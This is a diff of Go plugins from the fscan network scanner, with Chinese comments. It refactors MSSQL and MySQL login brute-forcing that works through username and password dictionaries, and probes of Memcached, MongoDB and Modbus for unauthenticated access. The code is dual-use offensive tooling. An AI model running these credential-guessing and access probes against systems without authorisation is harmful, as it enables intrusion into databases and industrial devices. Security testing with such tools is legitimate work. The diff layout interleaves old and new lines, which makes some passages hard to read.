vulnResult := &Common.ScanResult{ scanCancel() // 找到有效凭据,取消其他工作
Time: time.Now(), default:
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "mssql",
"username": user,
"password": pass,
"type": "weak-password",
},
} }
Common.SaveResult(vulnResult) return
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errlog := fmt.Sprintf("MSSQL %s %v %v %v", target, user, pass, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
} }
} }
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("MSSQL并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryMssqlCredential 尝试单个MSSQL凭据
func tryMssqlCredential(ctx context.Context, info *Common.HostInfo, credential MssqlCredential, timeoutSeconds int64, maxRetries int) *MssqlScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &MssqlScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建连接超时的上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := MssqlConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
return &MssqlScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
} }
} }
} }
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried)) return &MssqlScanResult{
return tmperr Success: false,
Error: lastErr,
Credential: credential,
}
} }
// MssqlConn 尝试MSSQL连接 // MssqlConn 尝试MSSQL连接
func MssqlConn(info *Common.HostInfo, user string, pass string) (bool, error) { func MssqlConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串 // 构造连接字符串
connStr := fmt.Sprintf( connStr := fmt.Sprintf(
"server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", "server=%s;user id=%s;password=%s;port=%v;encrypt=disable;",
host, username, password, port, timeout, host, username, password, port,
) )
// 建立数据库连接 // 建立数据库连接
@ -129,11 +216,54 @@ func MssqlConn(info *Common.HostInfo, user string, pass string) (bool, error) {
db.SetConnMaxLifetime(timeout) db.SetConnMaxLifetime(timeout)
db.SetConnMaxIdleTime(timeout) db.SetConnMaxIdleTime(timeout)
db.SetMaxIdleConns(0) db.SetMaxIdleConns(0)
db.SetMaxOpenConns(1)
// 测试连接 // 通过上下文执行ping操作以支持超时控制
if err = db.Ping(); err != nil { pingCtx, pingCancel := context.WithTimeout(ctx, timeout)
return false, err defer pingCancel()
errChan := make(chan error, 1)
go func() {
errChan <- db.PingContext(pingCtx)
}()
// 等待ping结果或者超时
select {
case err := <-errChan:
if err != nil {
return false, err
}
return true, nil
case <-ctx.Done():
// 全局超时或取消
return false, ctx.Err()
case <-pingCtx.Done():
if pingCtx.Err() == context.DeadlineExceeded {
// 单个连接超时
return false, fmt.Errorf("连接超时")
}
return false, pingCtx.Err()
} }
}
return true, nil
// saveMssqlResult 保存MSSQL扫描结果
func saveMssqlResult(info *Common.HostInfo, target string, credential MssqlCredential) {
successMsg := fmt.Sprintf("MSSQL %s %v %v", target, credential.Username, credential.Password)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "mssql",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
} }

View File

@ -1,46 +1,35 @@
package Plugins package Plugins
import ( import (
"context"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"strings" "strings"
"time" "time"
) )
// MemcachedScanResult 表示Memcached扫描结果
type MemcachedScanResult struct {
Success bool
Error error
Stats string
}
// MemcachedScan 检测Memcached未授权访问 // MemcachedScan 检测Memcached未授权访问
func MemcachedScan(info *Common.HostInfo) error { func MemcachedScan(info *Common.HostInfo) error {
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
timeout := time.Duration(Common.Timeout) * time.Second Common.LogDebug(fmt.Sprintf("开始扫描 Memcached %s", realhost))
// 建立TCP连接 // 尝试连接并检查未授权访问
client, err := Common.WrapperTcpWithTimeout("tcp", realhost, timeout) result := tryMemcachedConnection(ctx, info, Common.Timeout)
if err != nil {
return err
}
defer client.Close()
// 设置超时时间 if result.Success {
if err := client.SetDeadline(time.Now().Add(timeout)); err != nil { // 保存成功结果
return err scanResult := &Common.ScanResult{
}
// 发送stats命令
if _, err := client.Write([]byte("stats\n")); err != nil {
return err
}
// 读取响应
rev := make([]byte, 1024)
n, err := client.Read(rev)
if err != nil {
Common.LogError(fmt.Sprintf("Memcached %v:%v %v", info.Host, info.Ports, err))
return err
}
// 检查响应内容
if strings.Contains(string(rev[:n]), "STAT") {
// 保存结果
result := &Common.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: Common.VULN,
Target: info.Host, Target: info.Host,
@ -50,11 +39,122 @@ func MemcachedScan(info *Common.HostInfo) error {
"service": "memcached", "service": "memcached",
"type": "unauthorized-access", "type": "unauthorized-access",
"description": "Memcached unauthorized access", "description": "Memcached unauthorized access",
"stats": result.Stats,
}, },
} }
Common.SaveResult(result) Common.SaveResult(scanResult)
Common.LogSuccess(fmt.Sprintf("Memcached %s 未授权访问", realhost)) Common.LogSuccess(fmt.Sprintf("Memcached %s 未授权访问", realhost))
} }
return nil // 检查是否因为全局超时而退出
select {
case <-ctx.Done():
if ctx.Err() == context.DeadlineExceeded {
Common.LogDebug("Memcached扫描全局超时")
return fmt.Errorf("全局超时")
}
default:
}
Common.LogDebug(fmt.Sprintf("Memcached扫描完成: %s", realhost))
return result.Error
}
// tryMemcachedConnection 尝试连接Memcached并检查未授权访问
func tryMemcachedConnection(ctx context.Context, info *Common.HostInfo, timeoutSeconds int64) *MemcachedScanResult {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
timeout := time.Duration(timeoutSeconds) * time.Second
// 创建结果通道
resultChan := make(chan *MemcachedScanResult, 1)
// 创建连接上下文,带超时
connCtx, connCancel := context.WithTimeout(ctx, timeout)
defer connCancel()
// 在协程中尝试连接
go func() {
// 构建结果结构
result := &MemcachedScanResult{
Success: false,
Error: nil,
Stats: "",
}
// 建立TCP连接
client, err := Common.WrapperTcpWithTimeout("tcp", realhost, timeout)
if err != nil {
result.Error = err
select {
case <-connCtx.Done():
case resultChan <- result:
}
return
}
defer client.Close()
// 设置操作截止时间
if err := client.SetDeadline(time.Now().Add(timeout)); err != nil {
result.Error = err
select {
case <-connCtx.Done():
case resultChan <- result:
}
return
}
// 发送stats命令
if _, err := client.Write([]byte("stats\n")); err != nil {
result.Error = err
select {
case <-connCtx.Done():
case resultChan <- result:
}
return
}
// 读取响应
rev := make([]byte, 1024)
n, err := client.Read(rev)
if err != nil {
result.Error = err
select {
case <-connCtx.Done():
case resultChan <- result:
}
return
}
// 检查响应是否包含统计信息
response := string(rev[:n])
if strings.Contains(response, "STAT") {
result.Success = true
result.Stats = response
}
// 发送结果
select {
case <-connCtx.Done():
case resultChan <- result:
}
}()
// 等待结果或上下文取消
select {
case result := <-resultChan:
return result
case <-connCtx.Done():
if ctx.Err() != nil {
// 全局上下文取消
return &MemcachedScanResult{
Success: false,
Error: ctx.Err(),
}
}
// 连接超时
return &MemcachedScanResult{
Success: false,
Error: fmt.Errorf("连接超时"),
}
}
} }

View File

@ -1,6 +1,7 @@
package Plugins package Plugins
import ( import (
"context"
"encoding/binary" "encoding/binary"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
@ -8,67 +9,180 @@ import (
"time" "time"
) )
// ModbusScanResult 表示 Modbus 扫描结果
type ModbusScanResult struct {
Success bool
DeviceInfo string
Error error
}
// ModbusScan 执行 Modbus 服务扫描 // ModbusScan 执行 Modbus 服务扫描
func ModbusScan(info *Common.HostInfo) error { func ModbusScan(info *Common.HostInfo) error {
host, port := info.Host, info.Ports target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
timeout := time.Duration(Common.Timeout) * time.Second Common.LogDebug(fmt.Sprintf("开始 Modbus 扫描: %s", target))
// 尝试建立连接 // 设置全局超时上下文
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
if err != nil { defer cancel()
return err
}
defer conn.Close()
// 构造Modbus TCP请求包 - 读取设备ID // 执行扫描
request := buildModbusRequest() result := tryModbusScan(ctx, info, Common.Timeout, Common.MaxRetries)
// 设置读写超时
conn.SetDeadline(time.Now().Add(timeout))
// 发送请求
_, err = conn.Write(request)
if err != nil {
return fmt.Errorf("发送Modbus请求失败: %v", err)
}
// 读取响应
response := make([]byte, 256)
n, err := conn.Read(response)
if err != nil {
return fmt.Errorf("读取Modbus响应失败: %v", err)
}
// 验证响应
if isValidModbusResponse(response[:n]) {
// 获取设备信息
deviceInfo := parseModbusResponse(response[:n])
if result.Success {
// 保存扫描结果 // 保存扫描结果
result := &Common.ScanResult{ saveModbusResult(info, target, result)
Time: time.Now(),
Type: Common.VULN,
Target: host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": port,
"service": "modbus",
"type": "unauthorized-access",
"device_id": deviceInfo,
},
}
Common.SaveResult(result)
// 控制台输出
Common.LogSuccess(fmt.Sprintf("Modbus服务 %v:%v 无认证访问", host, port))
if deviceInfo != "" {
Common.LogSuccess(fmt.Sprintf("设备信息: %s", deviceInfo))
}
return nil return nil
} }
return fmt.Errorf("非Modbus服务或访问被拒绝") // 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Modbus 扫描全局超时")
return fmt.Errorf("全局超时")
default:
if result.Error != nil {
Common.LogDebug(fmt.Sprintf("Modbus 扫描失败: %v", result.Error))
return result.Error
}
Common.LogDebug("Modbus 扫描完成,未发现服务")
return nil
}
}
// tryModbusScan 尝试单个 Modbus 扫描
func tryModbusScan(ctx context.Context, info *Common.HostInfo, timeoutSeconds int64, maxRetries int) *ModbusScanResult {
var lastErr error
host, port := info.Host, info.Ports
target := fmt.Sprintf("%s:%s", host, port)
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &ModbusScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试 Modbus 扫描: %s", retry+1, target))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建单个连接超时的上下文
connCtx, connCancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
// 创建结果通道
resultChan := make(chan *ModbusScanResult, 1)
// 在协程中执行扫描
go func() {
// 尝试建立连接
var d net.Dialer
conn, err := d.DialContext(connCtx, "tcp", target)
if err != nil {
select {
case <-connCtx.Done():
case resultChan <- &ModbusScanResult{Success: false, Error: err}:
}
return
}
defer conn.Close()
// 构造 Modbus TCP 请求包 - 读取设备ID
request := buildModbusRequest()
// 设置读写超时
conn.SetDeadline(time.Now().Add(time.Duration(timeoutSeconds) * time.Second))
// 发送请求
_, err = conn.Write(request)
if err != nil {
select {
case <-connCtx.Done():
case resultChan <- &ModbusScanResult{
Success: false,
Error: fmt.Errorf("发送Modbus请求失败: %v", err),
}:
}
return
}
// 读取响应
response := make([]byte, 256)
n, err := conn.Read(response)
if err != nil {
select {
case <-connCtx.Done():
case resultChan <- &ModbusScanResult{
Success: false,
Error: fmt.Errorf("读取Modbus响应失败: %v", err),
}:
}
return
}
// 验证响应
if isValidModbusResponse(response[:n]) {
// 获取设备信息
deviceInfo := parseModbusResponse(response[:n])
select {
case <-connCtx.Done():
case resultChan <- &ModbusScanResult{
Success: true,
DeviceInfo: deviceInfo,
}:
}
return
}
select {
case <-connCtx.Done():
case resultChan <- &ModbusScanResult{
Success: false,
Error: fmt.Errorf("非Modbus服务或访问被拒绝"),
}:
}
}()
// 等待扫描结果或超时
var result *ModbusScanResult
select {
case res := <-resultChan:
result = res
case <-connCtx.Done():
if ctx.Err() != nil {
connCancel()
return &ModbusScanResult{
Success: false,
Error: ctx.Err(),
}
}
result = &ModbusScanResult{
Success: false,
Error: fmt.Errorf("连接超时"),
}
}
connCancel()
if result.Success {
return result
}
lastErr = result.Error
if result.Error != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(result.Error); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &ModbusScanResult{
Success: false,
Error: lastErr,
}
} }
// buildModbusRequest 构建Modbus TCP请求包 // buildModbusRequest 构建Modbus TCP请求包
@ -116,6 +230,45 @@ func parseModbusResponse(response []byte) string {
return "" return ""
} }
// 提取更多设备信息
unitID := response[6] unitID := response[6]
return fmt.Sprintf("Unit ID: %d", unitID) funcCode := response[7]
// 简单的设备信息提取,实际应用中可以提取更多信息
info := fmt.Sprintf("Unit ID: %d, Function: 0x%02X", unitID, funcCode)
// 如果是读取线圈响应,尝试解析线圈状态
if funcCode == 0x01 && len(response) >= 10 {
byteCount := response[8]
if byteCount > 0 && len(response) >= 9+int(byteCount) {
coilValue := response[9] & 0x01 // 获取第一个线圈状态
info += fmt.Sprintf(", Coil Status: %d", coilValue)
}
}
return info
}
// saveModbusResult 保存Modbus扫描结果
func saveModbusResult(info *Common.HostInfo, target string, result *ModbusScanResult) {
// 保存扫描结果
scanResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "modbus",
"type": "unauthorized-access",
"device_info": result.DeviceInfo,
},
}
Common.SaveResult(scanResult)
// 控制台输出
Common.LogSuccess(fmt.Sprintf("Modbus服务 %s 无认证访问", target))
if result.DeviceInfo != "" {
Common.LogSuccess(fmt.Sprintf("设备信息: %s", result.DeviceInfo))
}
} }

View File

@ -1,8 +1,11 @@
package Plugins package Plugins
import ( import (
"context"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"io"
"net"
"strings" "strings"
"time" "time"
) )
@ -14,85 +17,151 @@ func MongodbScan(info *Common.HostInfo) error {
} }
target := fmt.Sprintf("%s:%v", info.Host, info.Ports) target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
isUnauth, err := MongodbUnauth(info) Common.LogDebug(fmt.Sprintf("开始MongoDB扫描: %s", target))
if err != nil { // 设置全局超时上下文
errlog := fmt.Sprintf("MongoDB %v %v", target, err) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
Common.LogError(errlog) defer cancel()
} else if isUnauth {
// 记录控制台输出
Common.LogSuccess(fmt.Sprintf("MongoDB %v 未授权访问", target))
// 保存未授权访问结果 // 创建结果通道
result := &Common.ScanResult{ resultChan := make(chan struct {
Time: time.Now(), isUnauth bool
Type: Common.VULN, err error
Target: info.Host, }, 1)
Status: "vulnerable",
Details: map[string]interface{}{ // 在协程中执行扫描
"port": info.Ports, go func() {
"service": "mongodb", isUnauth, err := MongodbUnauth(ctx, info)
"type": "unauthorized-access", select {
"protocol": "mongodb", case <-ctx.Done():
}, case resultChan <- struct {
isUnauth bool
err error
}{isUnauth, err}:
} }
Common.SaveResult(result) }()
}
return err // 等待结果或超时
select {
case result := <-resultChan:
if result.err != nil {
errlog := fmt.Sprintf("MongoDB %v %v", target, result.err)
Common.LogError(errlog)
return result.err
} else if result.isUnauth {
// 记录控制台输出
Common.LogSuccess(fmt.Sprintf("MongoDB %v 未授权访问", target))
// 保存未授权访问结果
scanResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "mongodb",
"type": "unauthorized-access",
"protocol": "mongodb",
},
}
Common.SaveResult(scanResult)
} else {
Common.LogDebug(fmt.Sprintf("MongoDB %v 需要认证", target))
}
return nil
case <-ctx.Done():
Common.LogError(fmt.Sprintf("MongoDB扫描超时: %s", target))
return fmt.Errorf("全局超时")
}
} }
// MongodbUnauth 检测MongoDB未授权访问 // MongodbUnauth 检测MongoDB未授权访问
func MongodbUnauth(info *Common.HostInfo) (bool, error) { func MongodbUnauth(ctx context.Context, info *Common.HostInfo) (bool, error) {
msgPacket := createOpMsgPacket() msgPacket := createOpMsgPacket()
queryPacket := createOpQueryPacket() queryPacket := createOpQueryPacket()
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("检测MongoDB未授权访问: %s", realhost))
// 尝试OP_MSG查询 // 尝试OP_MSG查询
reply, err := checkMongoAuth(realhost, msgPacket) Common.LogDebug("尝试使用OP_MSG协议")
reply, err := checkMongoAuth(ctx, realhost, msgPacket)
if err != nil { if err != nil {
Common.LogDebug(fmt.Sprintf("OP_MSG查询失败: %v, 尝试使用OP_QUERY协议", err))
// 失败则尝试OP_QUERY查询 // 失败则尝试OP_QUERY查询
reply, err = checkMongoAuth(realhost, queryPacket) reply, err = checkMongoAuth(ctx, realhost, queryPacket)
if err != nil { if err != nil {
Common.LogDebug(fmt.Sprintf("OP_QUERY查询也失败: %v", err))
return false, err return false, err
} }
} }
// 检查响应结果 // 检查响应结果
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(reply)))
if strings.Contains(reply, "totalLinesWritten") { if strings.Contains(reply, "totalLinesWritten") {
Common.LogDebug("响应中包含totalLinesWritten确认未授权访问")
return true, nil return true, nil
} }
Common.LogDebug("响应未包含预期内容,可能需要认证")
return false, nil return false, nil
} }
// checkMongoAuth 检查MongoDB认证状态 // checkMongoAuth 检查MongoDB认证状态
func checkMongoAuth(address string, packet []byte) (string, error) { func checkMongoAuth(ctx context.Context, address string, packet []byte) (string, error) {
// 建立TCP连接 Common.LogDebug(fmt.Sprintf("建立MongoDB连接: %s", address))
conn, err := Common.WrapperTcpWithTimeout("tcp", address, time.Duration(Common.Timeout)*time.Second)
// 创建连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
defer cancel()
// 使用带超时的连接
var d net.Dialer
conn, err := d.DialContext(connCtx, "tcp", address)
if err != nil { if err != nil {
return "", err return "", fmt.Errorf("连接失败: %v", err)
} }
defer conn.Close() defer conn.Close()
// 设置超时时间 // 检查上下文是否已取消
if err := conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { select {
return "", err case <-ctx.Done():
return "", ctx.Err()
default:
}
// 设置读写超时
if err := conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return "", fmt.Errorf("设置超时失败: %v", err)
} }
// 发送查询包 // 发送查询包
Common.LogDebug("发送查询包")
if _, err := conn.Write(packet); err != nil { if _, err := conn.Write(packet); err != nil {
return "", err return "", fmt.Errorf("发送查询失败: %v", err)
}
// 再次检查上下文是否已取消
select {
case <-ctx.Done():
return "", ctx.Err()
default:
} }
// 读取响应 // 读取响应
reply := make([]byte, 1024) Common.LogDebug("读取响应")
reply := make([]byte, 2048)
count, err := conn.Read(reply) count, err := conn.Read(reply)
if err != nil { if err != nil && err != io.EOF {
return "", err return "", fmt.Errorf("读取响应失败: %v", err)
} }
if count == 0 {
return "", fmt.Errorf("收到空响应")
}
Common.LogDebug(fmt.Sprintf("成功接收响应,字节数: %d", count))
return string(reply[:count]), nil return string(reply[:count]), nil
} }

View File

@ -1,144 +1,306 @@
package Plugins package Plugins
import ( import (
"context"
"database/sql" "database/sql"
"fmt" "fmt"
_ "github.com/go-sql-driver/mysql" _ "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"strings" "strings"
"sync"
"time" "time"
) )
// MySQLCredential 表示一个MySQL凭据
type MySQLCredential struct {
Username string
Password string
}
// MySQLScanResult 表示MySQL扫描结果
type MySQLScanResult struct {
Success bool
Error error
Credential MySQLCredential
}
// MysqlScan 执行MySQL服务扫描 // MysqlScan 执行MySQL服务扫描
func MysqlScan(info *Common.HostInfo) (tmperr error) { func MysqlScan(info *Common.HostInfo) error {
if Common.DisableBrute { if Common.DisableBrute {
return return nil
} }
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
totalUsers := len(Common.Userdict["mysql"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0 // 设置全局超时上下文
total := totalUsers * totalPass ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 遍历所有用户名密码组合 // 构建凭据列表
var credentials []MySQLCredential
for _, user := range Common.Userdict["mysql"] { for _, user := range Common.Userdict["mysql"] {
for _, pass := range Common.Passwords { for _, pass := range Common.Passwords {
tried++ actualPass := strings.Replace(pass, "{user}", user, -1)
pass = strings.Replace(pass, "{user}", user, -1) credentials = append(credentials, MySQLCredential{
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass)) Username: user,
Password: actualPass,
})
}
}
// 重试循环 Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
for retryCount := 0; retryCount < maxRetries; retryCount++ { len(Common.Userdict["mysql"]), len(Common.Passwords), len(credentials)))
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct { // 使用工作池并发扫描
success bool result := concurrentMySQLScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
err error if result != nil {
}, 1) // 记录成功结果
saveMySQLResult(info, target, result.Credential)
return nil
}
go func(user, pass string) { // 检查是否因为全局超时而退出
success, err := MysqlConn(info, user, pass) select {
select { case <-ctx.Done():
case done <- struct { Common.LogDebug("MySQL扫描全局超时")
success bool return fmt.Errorf("全局超时")
err error default:
}{success, err}: Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
default: return nil
} }
}(user, pass) }
var err error // concurrentMySQLScan 并发扫描MySQL服务
func concurrentMySQLScan(ctx context.Context, info *Common.HostInfo, credentials []MySQLCredential, timeoutSeconds int64, maxRetries int) *MySQLScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *MySQLScanResult, 1)
workChan := make(chan MySQLCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select { select {
case result := <-done: case <-scanCtx.Done():
err = result.err return
if result.success && err == nil { default:
successMsg := fmt.Sprintf("MySQL %s %v %v", target, user, pass) result := tryMySQLCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
Common.LogSuccess(successMsg) if result.Success {
select {
// 保存结果 case resultChan <- result:
vulnResult := &Common.ScanResult{ scanCancel() // 找到有效凭据,取消其他工作
Time: time.Now(), default:
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "mysql",
"username": user,
"password": pass,
"type": "weak-password",
},
} }
Common.SaveResult(vulnResult) return
return nil
} }
case <-time.After(time.Duration(Common.Timeout) * time.Second): }
err = fmt.Errorf("连接超时") }
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("MySQL并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryMySQLCredential 尝试单个MySQL凭据
func tryMySQLCredential(ctx context.Context, info *Common.HostInfo, credential MySQLCredential, timeoutSeconds int64, maxRetries int) *MySQLScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &MySQLScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建独立的超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := MysqlConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
return &MySQLScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// Access denied 表示用户名或密码错误,无需重试
if strings.Contains(err.Error(), "Access denied") {
break
} }
if err != nil { // 检查是否需要重试
errMsg := fmt.Sprintf("MySQL %s %v %v %v", target, user, pass, err) if retryErr := Common.CheckErrs(err); retryErr == nil {
Common.LogError(errMsg) break // 不需要重试的错误
if strings.Contains(err.Error(), "Access denied") {
break // 认证失败,尝试下一个密码
}
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
tmperr = err
if !strings.Contains(err.Error(), "Access denied") {
continue
}
}
continue
}
break
} }
} }
} }
} }
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried)) return &MySQLScanResult{
return tmperr Success: false,
Error: lastErr,
Credential: credential,
}
} }
// MysqlConn 尝试MySQL连接 // MysqlConn 尝试MySQL连接
func MysqlConn(info *Common.HostInfo, user string, pass string) (bool, error) { func MysqlConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串 // 构造连接字符串,包含超时设置
connStr := fmt.Sprintf( connStr := fmt.Sprintf(
"%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", "%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v",
username, password, host, port, timeout, username, password, host, port, timeout,
) )
// 建立数据库连接 // 创建结果通道
db, err := sql.Open("mysql", connStr) resultChan := make(chan struct {
if err != nil { success bool
return false, err err error
}, 1)
// 在协程中尝试连接
go func() {
// 建立数据库连接
db, err := sql.Open("mysql", connStr)
if err != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{false, err}:
}
return
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
db.SetConnMaxIdleTime(timeout)
db.SetMaxIdleConns(0)
// 添加上下文支持
conn, err := db.Conn(ctx)
if err != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{false, err}:
}
return
}
defer conn.Close()
// 测试连接
err = conn.PingContext(ctx)
if err != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{false, err}:
}
return
}
// 连接成功
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{true, nil}:
}
}()
// 等待结果或上下文取消
select {
case result := <-resultChan:
return result.success, result.err
case <-ctx.Done():
return false, ctx.Err()
} }
defer db.Close() }
// 设置连接参数 // saveMySQLResult 保存MySQL扫描结果
db.SetConnMaxLifetime(timeout) func saveMySQLResult(info *Common.HostInfo, target string, credential MySQLCredential) {
db.SetConnMaxIdleTime(timeout) successMsg := fmt.Sprintf("MySQL %s %v %v", target, credential.Username, credential.Password)
db.SetMaxIdleConns(0) Common.LogSuccess(successMsg)
// 测试连接 // 保存结果
if err = db.Ping(); err != nil { vulnResult := &Common.ScanResult{
return false, err Time: time.Now(),
} Type: Common.VULN,
Target: info.Host,
// 连接成功,只返回结果,不打印日志 Status: "vulnerable",
return true, nil Details: map[string]interface{}{
"port": info.Ports,
"service": "mysql",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
} }

View File

